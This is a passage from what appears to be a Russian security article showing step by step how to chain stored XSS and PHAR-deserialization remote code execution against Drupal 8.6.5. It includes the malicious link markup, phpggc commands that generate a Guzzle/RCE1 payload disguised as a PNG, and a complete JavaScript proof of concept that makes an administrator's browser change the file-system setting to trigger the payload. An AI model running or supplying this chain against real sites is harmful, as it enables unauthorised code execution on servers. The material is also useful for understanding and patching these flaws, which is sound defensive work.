Сервер возвращает содержимое загруженных файлов без заголовка Content‐Type, а современные браузеры пытаются определить тип содержимого автоматически. Такое поведение и позволит провести XSS‐атаку. Для этого достаточно загрузить код на JS.

Дальше используем еще одну возможность в комментариях — ссылки.

Формируем ссылку на загруженный файл с XSS.

<a href="/sites/default/files/inline‐images/_0" type="text/html"> Click here</a>

Теперь администратору достаточно перейти по ссылке, и код будет выполнен.

Успешная XSS‐атака на Drupal 8.6.5

уязвимость друпала

Кстати, необязательно использовать загрузку картинок через комментарии. Для тех же целей можно приспособить назначение аватара в профиле пользователя. В этом случае путь будет немного другим: /sites/default/files/ pictures/<ГГГГ‐ММ>/.

ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ КОД

Давай теперь посмотрим на другую проблему — PHAR‐десериализацию. В панели администратора есть раздел File system. Там можно задать папку для хранения временных файлов (Temporary directory), а также время их жизни.

При сохранении данных формы срабатывает функция system_check_directory, которая проверяет существование указанной директории и наличие необходимых прав на нее.

core/modules/system/system.module

function system_check_directory($form_element, FormStateInterface

$form_state) {

$directory = $form_element['#value']; if (strlen($directory) == 0) {

return $form_element;

}
$logger = \Drupal::logger('file system'); if (!is_dir($directory) && !drupal_mkdir($directory, NULL, TRUE)) {

Здесь отсутствует проверка введенных данных и можно указать враппер phar:// и путь до PHAR‐архива с полезной нагрузкой. Любая функция, которая поддерживает работу с потоками, может триггерить уязвимость.

Для генерации я воспользуюсь классной утилитой phpggc. В ней есть джентльменский набор гаджетов для популярных фреймворков, CMS и различных библиотек. Список постоянно пополняется.

Drupal использует библиотеку Guzzle, в которой есть известная цепочка гаджетов, ведущая к RCE.

/drupal-8.6.5/vendor/guzzlehttp/guzzle/CHANGELOG.md
# CHANGELOG
## 6.3.0 ‐ 2017‐06‐22

Выбираем гаджет Guzzle/RCE1. Здесь ты сразу можешь сгенерировать архив PHAR, указав ключ ‐p и имя архива через ‐o.

./phpggc ‐p phar Guzzle/RCE1 system ls ‐o rce.phar

Далее переименовываем rce.phar в rce.png и загружаем на сервер как картинку. Если теперь указать путь до файла через враппер PHAR в качестве временной папки, топейлоад отработает и код выполнится.

phar://./sites/default/files/inline‐images/rce.png

Указанный путь попадает в функцию is_dir без какой‐либо фильтрации

Успешная эксплуатация RCE в Drupal через PHAR Unserialize

ОБЪЕДИНЯЕМ АТАКИ В ЦЕПОЧКУ

Чтобы получить окончательный вектор атаки, нужно объединить XSS и RCE от администратора.

Сначала загружаем архив PHAR с полезной нагрузкой как PNG и запоминаем путь до него. Далее нам понадобится код на JavaScript, который будет подгружать от админа страницу с настройками и отправлять форму. В ней в качестве file_temporary_path будет указан путь до архива.

Скрипт должен будет получать ответ от сервера. Чтобы легче его парсить, я поместил результат работы команды ls ‐l в тег <shell>.

./phpggc ‐p phar ‐o rce.phar Guzzle/RCE1 system "echo \<shell\>; ls

‐l; echo \</shell\>"

poc.html

<html>

<head></head>

<body>

<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/ jquery.min.js" type="text/javascript"></script>

<script>

var filepath = 'phar://./sites/default/files/inline‐images/ system.png';

var form_url = '/admin/config/media/file‐system'; var form_id = 'system_file_system_settings';

$.get(form_url, function(data) {

form_build_id = $(data).find('[name="form_build_id"]').


val();

var postdata = { 'file_temporary_path': filepath, 'form_id': form_id, 'form_build_id': form_build_id


}

$.post(form_url, postdata, function (data) { alert($(data).last().text());

console.log($(data).last().text());

});

});

</script>

</body>

</html>

Загружаем этот код через первую уязвимость. Теперь остается только заставить администратора перейти по нужной ссылке. Но это уже совсем другая история.

Что делать? Защищать сайт от уязвимостей, за помощью обращайтесь [email protected]